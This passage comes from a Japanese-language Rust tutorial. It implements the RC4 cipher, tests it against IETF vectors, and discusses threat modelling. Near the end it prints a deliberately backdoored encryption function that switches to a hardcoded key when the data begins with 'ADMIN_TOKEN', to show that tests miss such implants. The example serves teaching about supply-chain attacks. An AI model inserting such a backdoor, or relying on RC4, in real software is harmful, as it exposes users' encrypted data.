このロジックはRc4のコンストラクタに置くのが最善です。 そうすれば、ライブラリのユーザーはデータを暗号化する前に特別な初期化関数を呼び出すことを覚えておく必要がありません。 コンストラクタから返される暗号インスタンスは、すでに初期化されています。

関数関連の用語

このセクションでは2つの専門用語を使用します。 これらの概念はRustに固有のものではありませんが、Rustプログラムでは用語に特定の意味があります:4

  • 関連関数: 構造体に定義されているが、最初のパラメータとして&self(構造体のインスタンスへの参照)を取らない関数です。構造体のフィールドを読み書きしません。

  • メソッド: 構造体に定義され、最初のパラメータとして&selfまたは&mut self取る関数です。構造体の特定のインスタンス上のフィールドを読み書きします。

慣例として、Rustのコンストラクタは、構築される構造体のインスタンスを返す、newという名前の関連関数selfパラメータなし)です。

Rc4構造体定義のすぐ下に、KSAを実行するものを追加しましょう。 同じ名前の構造体に結び付けるために、impl Rc4ブロックの中でnewを定義していることに注目してください。

impl Rc4 {
    /// Init a new Rc4 stream cipher instance
    pub fn new(key: &[u8]) -> Self {
        // Verify valid key length (40 to 2048 bits)
        assert!(5 <= key.len() && key.len() <= 256);

        // Zero-init our struct
        let mut rc4 = Rc4 {
            s: [0; 256],
            i: 0,
            j: 0,
        };

        // Cipher state identity permutation
        for (i, b) in rc4.s.iter_mut().enumerate() {
            // s[i] = i
            *b = i as u8;
        }

        // Process for 256 iterations, get starting cipher state permutation
        let mut j: u8 = 0;
        for i in 0..256 {
            // j = (j + s[i] + key[i % key_len]) % 256
            j = j.wrapping_add(rc4.s[i]).wrapping_add(key[i % key.len()]);

            // Swap values of s[i] and s[j]
            rc4.s.swap(i, j as usize);
        }

        // Return our initialized Rc4
        rc4
    }
}

上記のコードを見ると、少し不安になるかもしれません。 それで大丈夫です。 新しい言語を学ぶということは、完全には理解していないコードに目を凝らすことを伴います。 そして、それはたいていあまり良い気分ではありません。

さらに悪いことに、暗号コードは、実装言語にかかわらず、それ自体が独特なものです。 踏み込んで、理解を試みましょう。

  • new は単一のパラメータ key を取ります。これはバイトスライスへの参照です。このシグネチャにより、鍵データの受け渡しが効率的5かつ柔軟6になります。スライスについては第3章で扱います。

  • 別のマクロである assert! 文は、API のユーザーが有効な長さの鍵を提供することを保証します。そうでない場合、プログラムはこの行で終了します。これはエラーを処理するには強硬な方法です。他の選択肢については後で説明します。

  • let mut rc4 = ... は、すべてのフィールドがゼロ初期化された Rc4 構造体の可変インスタンスを作成します。Rust では、変数はデフォルトで不変です。しかし、ここでは暗号の状態(s 配列)をセットアップするため、mut キーワードが必要です。

  • 次のコード片である for ループの恒等置換7は、s[0] = 0, s[1] = 1, s[2] = 2, ..., s[255] = 255 を設定する凝った書き方にすぎません。これはイテレータを使用しています。第10章で独自のイテレータを実装するので、今はこの構文について詳しく立ち入らないことにしましょう。

  • 続く for ループは、暗号状態 sさらに置換します。指摘しておく価値のある詳細が3つあります。

    • 暗号コードでは、加算演算子(+)ではなく wrapping_add 関数を使用する必要があります。これは、整数オーバーフロー(第3章で説明します)によって剰余算術8を模倣したいからです。

    • 3つ目の変数(おそらく temp という名前)を使って2つの変数を入れ替えたことはありますか?答えが「うわ、何百回もあるよ」なら、Rust では swap が配列の組み込みメソッドであることのありがたみが分かるでしょう。

    • Rust では、インデックスは常にレジスタ幅の符号なし整数です。そのため、swap の呼び出しでは、as キーワードを使って j(取るに足らない u8)を usize に昇格させます。このちょっとした詳細は「安全なキャスト」9だと考えてください。

  • new 関数の最後の行は、初期化済みの Rc4 構造体インスタンスを返します。Rust の関数では、何らかの理由で早期に返したい場合(たとえば関数本体の途中)を除き、return キーワードは不要です。

    • 関数の戻り値の型(-> の直後に指定されているもの)は Self です。newimpl Rc4 ブロック内にあるため、これは Rc4 構造体のインスタンスを返すことの省略形です。

置換の1ラウンドを可視化すると、この概念がより具体的になるかもしれません。 各ループ反復で ij が変化し(j は鍵の影響を受けます)、rc4.s.swap(i, j as usize)s 内の2つの値を入れ替えるだけです。

s[i]s[j] の入れ替えの可視化

2. 疑似乱数生成アルゴリズム(PRGA)

new 関数は Rc4 暗号のインスタンスを作成して初期化します。 キーストリームを生成するには、Rc4 インスタンスを使用する別の関数が必要です。 キーストリームが得られれば、それを使ってデータを暗号化できます。

prga_next はキーストリーム生成関数であり、呼び出されるたびに1バイトのキーストリームを出力します。 これを new 関数の直後、同じ impl Rc4 ブロック内に追加します。

new 関連関数とは異なり、prga_nextメソッドです。 メソッドは常に、呼び出し対象である構造体のインスタンス self への参照を第1パラメータとして取ります。

impl Rc4 {
    // ..new() の定義は省略..

    /// Output the next byte of the keystream
    pub fn prga_next(&mut self) -> u8 {
        // i = (i + 1) mod 256
        self.i = self.i.wrapping_add(1);

        // j = (j + s[i]) mod 256
        self.j = self.j.wrapping_add(self.s[self.i as usize]);

        // Swap values of s[i] and s[j]
        self.s.swap(self.i as usize, self.j as usize);

        // k = s[(s[i] + s[j]) mod 256]
        self.s[(self.s[self.i as usize].wrapping_add(self.s[self.j as usize])) as usize]
    }
}

この関数は new 関数と似た操作を行うため、詳細に見ていく必要はありません。 私たちが関心を持っているのは Rust の雰囲気をつかむことであり、RC4 の設計が要求する具体的な操作ではありません。 ただし、指摘しておく価値のある詳細が1つあります。

  • prga_next の唯一のパラメータは &mut self で、これは呼び出し対象となる Rc4 構造体への可変参照です。この関数は Rc4 構造体に変更を加えるため、ここでも mut キーワードが必要です。具体的には、インデックス ij に書き込み、暗号状態バッファ s 内のバイトを入れ替えます。

余談ですが、k を出力するその行は、次のように可視化できます。10


k = s[(s[i] + s[j]) mod 256] の可視化

3. 暗号化/復号

古典的な柔軟なインターフェイス

prga_next 出力バイト(キーストリーム)を平文の各バイトと XOR することで、暗号化を実装します。 XOR は可逆なので、同じ関数は復号にも使えます!

impl Rc4 {
    // ..new() の定義は省略..

    /// Stateful, in-place en/decryption (current keystream XORed with data).
    /// Use if plaintext/ciphertext is transmitted in chunks.
    pub fn apply_keystream(&mut self, data: &mut [u8]) {
        for b_ptr in data {
            *b_ptr ^= self.prga_next();
        }
    }

    // ..prga_next() の定義は省略..
}

メソッド内で暗号化を実装すると、柔軟性が最大化されます。データを[長さが可変かもしれない]チャンクとして受け取る場合、Rc4 の単一インスタンスで、次のように複数のチャンクにまたがる「継続的な」暗号化を実行できます(以下は API 使用例であり、Rc4 実装の一部ではありません)。

let key = [0x1, 0x2, 0x3, 0x4, 0x5];

let msg_1 = [0x48, 0x65, 0x6c, 0x6c, 0x6f]; // "Hello"
let msg_2 = [0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64, 0x21]; // " World!"

// インプレースで暗号化
let mut rc4 = Rc4::new(&key);
rc4.apply_keystream(&mut msg_1);
rc4.apply_keystream(&mut msg_2);

// インプレースで復号
let mut rc4 = Rc4::new(&key);
rc4.apply_keystream(&mut msg_1);
rc4.apply_keystream(&mut msg_2);

現実世界のストリーム暗号ライブラリの多くは、このような API を使用しています。 しかし、これには微妙な複雑さが伴います。rc4 は状態を持っており、復号の前に new で再構築しなければなりません。 さらに、apply_keystream へのパラメータの順序も重要です。上記で誤って rc4.apply_keystream(&mut msg_1) より前に rc4.apply_keystream(&mut msg_2) を呼び出すと、復号結果は不正になります。

一般的なケースをより簡単にする

すべてのデータが一度にメモリ上にある限り、関連関数内で暗号化を実装すると、より単純なインターフェイスを提供できます。 これはかなり頻繁に当てはまるかもしれません。 これは実際には、呼び出し元から状態を隠す単なるラッパーであることに注目してください。

impl Rc4 {
    // ..new() の定義は省略..

    // ..apply_keystream() の定義は省略..

    /// Stateless, in-place en/decryption (keystream XORed with data).
    /// Use if entire plaintext/ciphertext is in-memory at once.
    pub fn apply_keystream_static(key: &[u8], data: &mut [u8]) {
        let mut rc4 = Rc4::new(key);
        rc4.apply_keystream(data);
    }

    // ..prga_next() の定義は省略..
}

これで、Rc4 インスタンスの状態を気にすることなく、単一のメソッド呼び出しで暗号化/復号できます(API 使用例は以下のとおりです)。

let key = [0x1, 0x2, 0x3, 0x4, 0x5];

let msg = [
    0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f,
    0x72, 0x6c, 0x64, 0x21,
]; // "Hello World!"

// インプレースで暗号化
Rc4::apply_keystream_static(&key, &mut msg);

// インプレースで復号
Rc4::apply_keystream_static(&key, &mut msg);

2つの暗号化/復号関数が完成したので、実装は完了しました。 検証の時間です。 暗号ソフトウェアは本当に正しくなければならないため、ここで止まることはできません。 このコードを徹底的に試してみましょう!

暗号化と復号は、どうして同じ操作になり得るのでしょうか?

要するに、XOR は可逆であり、かつキーストリームの性質により予測不能だからです。

  • まず、cipher_text = plain_text ^ key_stream(暗号化)です。

  • 次に、plain_text = cipher_text ^ key_stream(復号)です。

  • キーストリームは、平文内の任意のビットを、あたかも 50/50 のランダムな確率であるかのように反転できます。

より数学的に原理に基づいた扱いについては、Paar と Pelzl の Understanding Cryptography11 の 32 ページにある証明をおすすめします。 大学の教科書ではありますが、形式的な記述は軽量で正確です。 暗号学の分野への優れた入門書です。 さらに、この本には無料の動画講義12も付属しています。


  1. C のマクロとは異なり、Rust のマクロは衛生的です。つまり、識別子を捕捉して微妙な問題を引き起こすことはありません。これが、Rust のマクロが非常に使いやすい理由の一部です。実際、println! はマクロです。したがって、第1章の終わりで「Hello world!」プログラムを実行したとき、あなたはすでにマクロを使っていたことになります。

  2. トレイト std::fmt::Debug。The Rust Team(2022年アクセス)。

  3. Rust では、共有される振る舞いはオブジェクト指向の継承ではなく、トレイト合成によって定義されます。C++ や Java のような「クラス階層」はありません。トレイトについては第3章で扱います。

  4. 技術的には、Rust リファレンス13によると、「関連関数は型に関連付けられた関数」であり、「最初のパラメーターの名前が self である関連関数はメソッドと呼ばれます…」。しかし、それはかなり細部に踏み込んだ話です。このセクションでは明確さのために、関連関数メソッドを別個のものとして扱います。

  5. スライス参照は「ファットポインター」(ポインターと要素数のタプル)であり、データをコピーせずに可変長データを渡すことを可能にします(ポインターについて最初に話したときの「参照渡し」を思い出してください)。

  6. スライスは柔軟です。なぜなら、異なる種類のコレクション(たとえば、固定長配列や動的サイズのベクター)をスライスを通して「見る」ことができるからです。そのため、慣用的な Rust コードではスライスによく出会うことになります。

  7. 単位元と逆元。Wikipedia(2022年アクセス)。

  8. 剰余算術。Wikipedia(2022年アクセス)。

  9. Rust のキャストにはベストプラクティスがあります。具体的には、型間の失敗しない変換にはトレイト FromInto を使い、失敗する可能性のある変換には TryFromTryInto を使います。このトピックについては後で詳しく説明します。

  10. RC4。Wikipedia(2022年アクセス)。

  11. [個人的なお気に入り] Understanding Cryptography。Christof Paar、Jan Pelzl(2009)。

  12. オンライン暗号学コース。Christof Paar、Jan Pelzl(2009)。

  13. The Rust Reference: 関連項目。The Rust Team(2021)。

動的保証(3/3)

crypto_tool/rc4/src/lib.rs の末尾に小さなモジュール(mod キーワードのスコープ)があることに気づいたかもしれません。

#[cfg(test)]
mod tests {
    #[test]
    fn it_works() {
        let result = 2 + 2;
        assert_eq!(result, 4);
    }
}

これはユニットテストのボイラープレートで、以前に cargo new crypto_tool/rc4 --lib を実行したときに生成されたものです。 これから、これを独自のユニットテストに置き換えます。

最初に書くテストは、基本的には「健全性チェック」です。 最低限、私たちのライブラリは平文を別のもの(おそらく暗号化された形式)に変換し、それを元に戻せるべきです。 このテストはまさにそれを確認します。

#[cfg(test)]
mod tests {
    use super::Rc4;

    #[test]
    fn sanity_check_static_api() {
        #[rustfmt::skip]
        let key: [u8; 16] = [
            0x4b, 0x8e, 0x29, 0x87, 0x80, 0x95, 0x96, 0xa3,
            0xbb, 0x23, 0x82, 0x49, 0x9f, 0x1c, 0xe7, 0xc2,
        ];

        #[rustfmt::skip]
        let plaintext = [
            0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f,
            0x72, 0x6c, 0x64, 0x21,
        ]; // "Hello World!"

        let mut msg: [u8; 12] = plaintext.clone();

        println!(
            "Plaintext (initial): {}",
            String::from_utf8(msg.to_vec()).unwrap()
        );

        // Encrypt in-place
        Rc4::apply_keystream_static(&key, &mut msg);
        assert_ne!(msg, plaintext);

        println!("Ciphertext: {:x?}", msg);

        // Decrypt in-place
        Rc4::apply_keystream_static(&key, &mut msg);
        assert_eq!(msg, plaintext);

        println!(
            "Plaintext (decrypted): {}",
            String::from_utf8(msg.to_vec()).unwrap()
        );
    }
}

最初の平文を出力し、apply_keystream_static を使ってそれを暗号化して結果を出力し、同様に復号して結果を出力します。

  • key は、テスト目的で任意に選んだランダムな 16 バイトの鍵です。

  • msg は、ASCII1 文字列 “Hello World!” の生バイトです。

  • String::from_utf8(msg.to_vec()).unwrap() は、生バイトを出力可能な文字列に変換します。

    • これは失敗しうる操作です(入力として出力不可能なバイトを渡すこともできたからです!)そのため、「操作結果」を「unwrap」する必要があります(ここでの .unwrap()assert! のようなものです)。Result とエラーハンドリングについては第3章で説明します。
  • #[rustfmt::skip] は、コードフォーマッター(cargo fmt 経由で呼び出されます)に対して、その下に現れる変数のインデントを変更しないよう指示します。このテストには直接関係ありませんが、何のためのものか気になっていたかもしれません。Rust は、大規模な複数開発者のコードベースでスタイルを一貫させるために、設定可能なコードフォーマットと lint をサポートしています。

このテストは、crypto_tool/rc4 ディレクトリから cargo test コマンドで実行できます。 デフォルトでは、cargo test はテスト結果のみを出力し、テストが失敗しない限りコンソール出力は表示しません。

println! 文を確認するには、cargo test -- --show-output を使う必要があります。 すると、出力には以下が含まれます。

---- tests::sanity_check_static_api stdout ----
Plaintext (initial): Hello World!
Ciphertext: [d0, 1c, 95, d4, 40, c7, 3c, 53, 8a, 22, d9, a1]
Plaintext (decrypted): Hello World!

この単純な動的テストにより、メッセージをスクランブルし、元に戻すことができる実行可能なプログラムがあることが示されました!

暗号文には出力不可能な文字が含まれているため、文字列として出力していない点に注意してください。 代わりに、生の 16 進バイトを表示しています。 ここで少し時間を取って、チャンク API である apply_keystream についても同様のテストを書いてみてください。

cargo test によるファーストパーティのユニットテストサポートは、C や C++ と比較した Rust の大きな強みです。 モダンな開発体験を得るために、サードパーティのテストフレームワークを学習、設定、ビルド、インポートする必要はありませんでした。

私たちの方法論は強力ですが、実際のテストはそうではありませんでした。 この「健全性チェック」は、RC4 を正しく実装したことを実際に証明するものではありません。単に、私たちのコードがデータを変換し、その変更を元に戻せることを示しているだけです。 生成された暗号文が、与えられた鍵に対して正しくない可能性があります。場合によっては、それが「解読可能」にしてしまうような形で誤っているかもしれません。つまり、攻撃者が何らかの欠陥を利用して、鍵を知らずに平文を抽出できる可能性があります。

そうではないことを確実にするには、実装を動的に検証する必要があります。 グラウンドトゥルースに対する実行可能なテストを作成します。 暗号のサイファーでは、これは多くの場合、公式の「テストベクター」(既知の正しい入出力ペア)と比較することを意味します。

動的検証

RC4 は、そう遠くない過去において、インターネットセキュリティの重要な一部でした。 かつて、インターネット上のほぼすべての TLS 接続がこのアルゴリズムを使用していたか、使用することを選択できました。 そのため、主要なインターネット標準化団体である Internet Engineering Task Force(IETF)は、プロトコル実装者が RC4 ライブラリを検証できるよう、公式のテストベクター2 を公開しました。

これから、その公式ベクターを活用します! 正当化可能な確信こそが、高保証プログラミングの特徴です。

IETF 文書2 には、テストベクターデータの表が十数個含まれています。 以下はその最初のものです。

Key length: 40 bits.
key: 0x0102030405

DEC    0 HEX    0:  b2 39 63 05  f0 3d c0 27   cc c3 52 4a  0a 11 18 a8
DEC   16 HEX   10:  69 82 94 4f  18 fc 82 d5   89 c4 03 a4  7a 0d 09 19
DEC  240 HEX   f0:  28 cb 11 32  c9 6c e2 86   42 1d ca ad  b8 b6 9e ae
DEC  256 HEX  100:  1c fc f6 2b  03 ed db 64   1d 77 df cf  7f 8d 8c 93
DEC  496 HEX  1f0:  42 b7 d0 cd  d9 18 a8 a3   3d d5 17 81  c8 1f 40 41
DEC  512 HEX  200:  64 59 84 44  32 a7 da 92   3c fb 3e b4  98 06 61 f6
DEC  752 HEX  2f0:  ec 10 32 7b  de 2b ee fd   18 f9 27 76  80 45 7e 22
DEC  768 HEX  300:  eb 62 63 8d  4f 0b a1 fe   9f ca 20 e0  5b f8 ff 2b
DEC 1008 HEX  3f0:  45 12 90 48  e6 a0 ed 0b   56 b4 90 33  8f 07 8d a5
DEC 1024 HEX  400:  30 ab bc c7  c2 0b 01 60   9f 23 ee 2d  5f 6b b7 df
DEC 1520 HEX  5f0:  32 94 f7 44  d8 f9 79 05   07 e7 0f 62  e5 bb ce ea
DEC 1536 HEX  600:  d8 72 9d b4  18 82 25 9b   ee 4f 82 53  25 f5 a1 30
DEC 2032 HEX  7f0:  1e b1 4a 0c  13 b3 bf 47   fa 2a 0b a9  3a d4 5b 8b
DEC 2048 HEX  800:  cc 58 2f 8b  a9 f2 65 e2   b1 be 91 12  e9 75 d2 d7
DEC 3056 HEX  bf0:  f2 e3 0f 9b  d1 02 ec bf   75 aa ad e9  bc 35 c4 3c
DEC 3072 HEX  c00:  ec 0e 11 c4  79 dc 32 9d   c8 da 79 68  fe 96 56 81
DEC 4080 HEX  ff0:  06 83 26 a2  11 84 16 d2   1f 9d 04 b2  cd 1c a0 50
DEC 4096 HEX 1000:  ff 25 b5 89  95 99 67 07   e5 1f bd f0  8b 34 d8 75

鍵(2行目)と、有効な RC4 実装が生成するはずのキーストリームからの 18 個のサンプル(それ以降の行)が与えられています。 各サンプルは 16 バイト長で、その前にキーストリーム内のオフセット(10 進数と 16 進数の両方)が付いています。

すべての表からすべてのサンプルをテストスイートに変換することは、実際のライブラリにとっては重要ですが、今回の例では手間がかかります。 そこで、上の表の最初の 4 行だけを使います。

#[cfg(test)]
mod tests {
    use super::Rc4;

    // ..sanity_check_static_api() は省略..

    // See: https://datatracker.ietf.org/doc/html/rfc6229#section-2
    #[test]
    fn ietf_40_bit_key_first_4_vectors() {
        let key: [u8; 5] = [0x01, 0x02, 0x03, 0x04, 0x5];
        let mut out_buf: [u8; 272] = [0x0; 272];

        #[rustfmt::skip]
        let test_stream_0: [u8; 16] = [
            0xb2, 0x39, 0x63, 0x05, 0xf0, 0x3d, 0xc0, 0x27,
            0xcc, 0xc3, 0x52, 0x4a, 0x0a, 0x11, 0x18, 0xa8,
        ];

        #[rustfmt::skip]
        let test_stream_16: [u8; 16] = [
            0x69, 0x82, 0x94, 0x4f, 0x18, 0xfc, 0x82, 0xd5,
            0x89, 0xc4, 0x03, 0xa4, 0x7a, 0x0d, 0x09, 0x19,
        ];

        #[rustfmt::skip]
        let test_stream_240: [u8; 16] = [
            0x28, 0xcb, 0x11, 0x32, 0xc9, 0x6c, 0xe2, 0x86,
            0x42, 0x1d, 0xca, 0xad, 0xb8, 0xb6, 0x9e, 0xae,
        ];

        #[rustfmt::skip]
        let test_stream_256: [u8; 16] = [
            0x1c, 0xfc, 0xf6, 0x2b, 0x03, 0xed, 0xdb, 0x64,
            0x1d, 0x77, 0xdf, 0xcf, 0x7f, 0x8d, 0x8c, 0x93,
        ];

        // Remaining 14 vectors in set skipped for brevity...

        // Create an instance of the cipher
        let mut rc4 = Rc4::new(&key);

        // Output keystream
        rc4.apply_keystream(&mut out_buf);

        // Validate against official vectors
        assert_eq!(out_buf[0..16], test_stream_0);
        assert_eq!(out_buf[16..32], test_stream_16);
        assert_eq!(out_buf[240..256], test_stream_240);
        assert_eq!(out_buf[256..272], test_stream_256);
    }
}
  • out_buf は、キーストリームの先頭 272 バイトを格納するための配列です(比較用に先頭 4 つのサンプルを切り出すのにちょうど十分な長さです)。最初はすべてゼロで初期化されています。ループで初期化する代わりに、省略記法 [0x0; 272] を使用します。

    • 任意のバイトを 0x00 と XOR すると、そのバイト自身になります。そのため、ゼロバッファを暗号化するということは、単に実装のキーストリームを抽出していることになります。安全な暗号では、このキーストリームはランダムなバイト列と識別できないはずです。RC4 の場合、値は公式ベクトルと一致するはずです。
  • assert_eq! は、キーストリームのスライス(out_buf の一部)を、対応するテストベクトル(test_stream_*)と照合します。

    • ドキュメントの表に対応するオフセットで 16 バイトのチャンクを取得するために、スライス記法を使用している点に注目してください(たとえば、out_buf[240..256] は、272 のうち範囲 [240, 256) にあるバイトを意味します)。

crypto_tool/rc4 ディレクトリから cargo test を実行すると、両方のユニットテストが通ることを確認できるはずです。

running 2 tests
test tests::ietf_40_bit_key_first_4_vectors ... ok
test tests::sanity_check_static_api ... ok

要点

これで、最初の高保証ソフトウェアの一部を構築できました(RC4 アルゴリズム自体は除きます)。 あなたの RC4 ライブラリは次のようなものです。

  • 完全にメモリ安全です。したがって #![forbid(unsafe_code)]
  • スタンドアロンで、ほぼどこでも実行できます。したがって #![no_std]
  • 公式 IETF テストベクトルを使用して、機能的に検証されています

このライブラリを使用してローカルファイルを暗号化するコマンドラインツールを書くという、楽しくて具体的な部分に進む前に、いったん立ち止まり、ここまでに説明してきた静的保証と動的保証のすべてのトピックの限界を理解する必要があります。

Rust は暗号ライブラリに適した選択肢でしょうか?

C および C++ の暗号ライブラリに関するある研究では、報告された脆弱性のうち、暗号自体に関連する欠陥が原因だったものは 27.2% にすぎない一方で、37.2% はメモリ安全性の問題でした3

パフォーマンスとセキュリティはいずれも中核的な要件であるため、暗号は Rust の主要なユースケースです(しゃれのつもりです)。 この言語には活発な暗号エコシステムがあります。 pure-Rust の TLS ライブラリである rustls4 は、注目すべきプロジェクトの 1 つです。 2019 年には、ほぼすべてのカテゴリで OpenSSL を大きく上回りました5


  1. ASCII。Wikipedia(2022 年アクセス)。

  2. ストリーム暗号 RC4 のテストベクトル。Internet Engineering Task Force(2011 年)。 ↩2

  3. 独自暗号を作るべきではない理由:暗号ライブラリにおける脆弱性の実証的研究。Jenny Blessing、Michael A. Specter、Daniel J. Weitzner(2021 年)。本稿執筆時点では、この論文はまだ査読付きカンファレンスに採択されていないことに注意してください。

  4. rustls。rustls Contributors(2022 年アクセス)。

  5. Rust ベースの TLS ライブラリがほぼすべてのカテゴリで OpenSSL を上回った。Catalin Cimpanu(2019 年)。

制約と脅威モデリング

コンピューターセキュリティの厄介な点は、常に悪い知らせがあることです。 セキュリティの実務者として、私たちは制約を鋭く認識していなければなりません。 つまり、次のようなことです。

  • 私たちは何に対して自信がないのか?

    • 潜在的な弱点を提示できないなら、自分たちの強みを過大評価している可能性が非常に高いです。それは危険な立場です。
  • 型システムはどのような脅威に対してほとんど保証を提供しないのか?

    • すべての脅威ベクトルの構成が、私たちの攻撃対象領域を決定します。それが大きくなるほど、攻撃者に対して潜在的な侵入口をより多く提示することになります。最もリスクの高い領域は、多くの場合信頼境界にあります。

      • 脅威ベクトル: 攻撃者がアクセスする可能性のある経路。

      • 攻撃対象領域: 特定のシステムに存在する脅威ベクトルの集合。

      • 信頼境界: システム内の、信頼度の低いコンポーネントと信頼度の高いコンポーネントとの間のインターフェイス。

  • 私たちの動的テストスイートでは、どの機能要件を検証できないのか?

    • ここには潜在的な設計上の欠陥が潜んでいます。システムがデプロイされた後にこうした見落としが発見されると、修正には高いコストがかかる可能性があります。

      • 設計上の欠陥: システムが要件を満たせなくなる原因となる、基本的な機能における欠陥(コード内のバグとは対照的なもの)。原則やパターンのレベルにあるもの。

このセクションでは、これまでに述べてきた静的および動的な保証に関する主張について、より広い文脈を提供します。 いわば現実確認です。 関連する幅広いトピックを手早く扱うため、少しあちこちに話が飛びます。

手動静的解析を永遠に!

セキュリティ脆弱性の潜在的な原因を3つ考えてみましょう。 いずれも、それぞれのバグを普遍的に適用できる形で定義することがほとんど不可能であるため、静的であれ動的であれ、効果的な自動解析を設計することが非常に困難です。

  1. 不適切な入力検証: ユーザーが提供したデータが構文的にも意味的にも正しいことの検証に失敗する。

    • 例: ある Web ポータルがフォーム入力を検証するためにクライアント側(つまり回避可能な!)JavaScript だけを使用しており、その入力の1つがコマンド実行時にサーバー側シェルへ渡される。
  2. 情報漏えい: 機微な1情報や余計な情報を露出させる。

    • 例: ある認証サービスが内部のトラブルシューティング目的で詳細なログを記録しているが、そのログにはユーザーの平文パスワードが含まれている。本来その機微データはハッシュ化された形式でのみ保存されている。
  3. 設定ミス: システムの設定時に誤った、または最適でないパラメーターを選ぶことで脆弱性を持ち込む。

    • 例: あるネットワークルーターがパスワード認証による SSH ログインを許可しており、出荷されるすべてのデバイスに同じデフォルトパスワードが使用されている。

現実には、最も洗練された型システムと最も包括的なテストスイートを組み合わせても、セキュリティを保証することはできません。

  • 静的な制約: 実用的な型システムのセマンティクス内にエンコードされたプロパティによっては、ほとんどの脆弱性クラスを排除できません2

  • 動的な制約: 多くの複雑な状態はテストでカバーされておらず3、本番環境で再現することも困難です。

さらに、静的側面では、型同士の変換規則がプログラマーに誤解されることがあります。 特に複雑なクラス階層を持つ言語ではそうです。 キャストエラーが型の混同脆弱性を引き起こすことがあり、あるデータ型をエンコードしているメモリが別のデータ型として誤解釈され、型安全性の保証が破られます。

C++ では型の混同はどのように起こるのか?

C++ は静的型付けですが、依然として型安全ではない言語です。 極端な場合、その弱い型付けにより、プログラマーは論理的な関係をまったく持たない任意の型同士をキャストできます。

より一般的には、プログラマーは特定のオブジェクト階層内の型同士をキャストします。 これは文脈上は論理的に筋が通っていますが、微妙なエラーの可能性をもたらします。 静的チェックに合格したにもかかわらず、実行時に深刻な型の問題に遭遇する可能性があります。

  • 1次の型の混同: たとえば、誰かが誤って親クラスのインスタンスをその子孫の1つへキャストし、その親が子孫のフィールドの一部を持っていないとします。存在しないフィールドの1つにアクセスすると、任意のデータをポインターとして扱ってしまう可能性があります!

さらに、メモリ破壊バグは一般に型安全性を損ないます。

  • 2次の型の混同: プログラム自体にはキャストエラーが含まれていないかもしれませんが、別の場所にあるメモリ破壊バグによって、攻撃者がオブジェクトのメモリを書き込める可能性があります。具体的には、オブジェクト内部のメソッドディスパッチテーブル内のポインターを上書きすることです。同じ任意ポインターの問題に至る可能性があります。

このようなシナリオは、C++ で書かれたブラウザー、仮想マシン、データベースが一般的に悪用される仕組みです4。 対照的に、Rust は型安全(言語がすべての型変換に厳格で静的に強制される規則に従うことを強制する5)であり、メモリ安全(破壊がない)です。

私たちは依然として、熟練した人間による手動静的解析を、監査という形で必要としています。 つまり、知識のある人々がコードや設計文書を読み、攻撃者よりも先に脆弱性を見つけるということです。

本書では、優先度の高いバグクラスを網羅的に列挙することはしません。 この目的のためには、すでに高品質で自由に利用できるリソースがあります。 特に影響力の大きいものが、MITRE CWE Top 25 Most Dangerous Software Weaknesses6OWASP Top 10 Web Application Security Risks7 です。 前者は自らを次のように説明しています6

2021 Common Weakness Enumeration (CWE) Top 25 Most Dangerous Software Weaknesses (CWE Top 25) は、過去2暦年に経験された最も一般的で影響の大きい問題を示すリストです。これらの弱点が危険なのは、しばしば見つけやすく、悪用しやすく、攻撃者がシステムを完全に乗っ取ったり、データを盗んだり、アプリケーションの動作を妨げたりすることを可能にするためです。

CWE Top 256 によると、メモリ安全性の問題である「Out-of-bounds Write」は、2021年の第1位の弱点でした。 実際、このリストには safe Rust が完全に排除する問題がいくつか含まれています(例: Out-of-bounds Read、Use After Free、NULL Pointer Dereference)。 しかし、Rust を過大評価しすぎないようにしましょう。 列挙された弱点の大半は、Rust のコンパイラが推論できる領域の完全に外側にあります。 Rust ソフトウェアはトップ 25 を潰すうえで有利なスタートを切れますが、ソフトウェア保証には 必ず 手作業 のプロセスを含めなければなりません。 忘れないでください。ツールはスケールのための補助であり、知恵の代替ではありません。

例: 動的テストが RC4 バックドアを検出できない場合

2020 年 3 月は、世界的な Covid-19 パンデミックの始まりでした8。 それよりはるかに重要度は低いものの、この本との関連性は高い出来事として、同じ 3 月に、史上最大級のセキュリティ侵害の 1 つが発生しました。バックドア化された製品を介して拡散したマルウェアにより、30,000 を超える公的機関および民間組織が被害を受けたのです9。 その製品を提供していた企業である SolarWinds は、顧客に更新を出荷した時点で、悪意のあるコードがシステムに挿入されていたことに気づいていませんでした。

制限に関する議論を、例を使ってより具体的にしましょう。 Rust の静的チェックと私たちの動的テストベクターでは、RC4 実装が完全に安全であることを保証できないことを示します。

攻撃者がネットワーク上に足場を持ち、トラフィックを盗聴できると想像してください(例:「中間者」)。 攻撃者は、SolarWinds の手口のように私たちの組織のビルドシステムを侵害し、次のように RC4 ライブラリの実装にバックドアを仕込みました。

impl Rc4 {
    // ..new() の定義は省略..

    // ..apply_keystream() の定義は省略..

    /// Stateless, in-place en/decryption (keystream XORed with data).
    /// Use if entire plaintext/ciphertext is in-memory at once.
    pub fn apply_keystream_static(key: &[u8], data: &mut [u8]) {
        // Backdoor RC4 >:)
        let mut rc4 = if data.starts_with("ADMIN_TOKEN".as_bytes()) {
            Rc4::new(&[0xB, 0xA, 0xD, 0xC, 0x0, 0xD, 0xE])
        } else {
            Rc4::new(key)
        };

        rc4.apply_keystream(data);
    }

    // ..prga_next() の定義は省略..
}

apply_keystream_static に追加された悪意のあるロジックに注目してください。暗号化されるデータがテキスト ADMIN_TOKEN で始まる場合、この関数は指定された鍵を無視し、ハードコードされた鍵を使用します。

ハードコードされた鍵を事前に知っていれば、受動的な ネットワーク攻撃者は機密データをリアルタイムで復号でき、バックドア化されたライブラリを使用するあらゆるシステムの機密性を侵害できます。 能動的な ネットワーク攻撃者なら、そのトークンを傍受し、それを利用して新しい内部システムへ横展開する可能性があります。

さらに悪いことに、cargo test を実行するとすべてのテストが通ります。 IETF 文書10にあるテーブル/ベクターをすべて移植するために時間を投資していたとしても、動的テストスイートはこのバックドアを検出できないでしょう。

問題は、挿入された if の最初のブロックである悪意のある分岐が、データの先頭に ADMIN_TOKEN が現れた場合にのみ通ることです。 これは、私たちが当てる可能性が信じられないほど低い、たった 1 つの実行パスです。このような任意かつ不明瞭な条件をテストすべきだと知ることはできません。 そして、もしビルドシステムが侵害されていたなら、インプラントはおそらくテストビルド用のコードにはバックドアを仕込まないでしょう。

どれほど「あり得ない」のか?

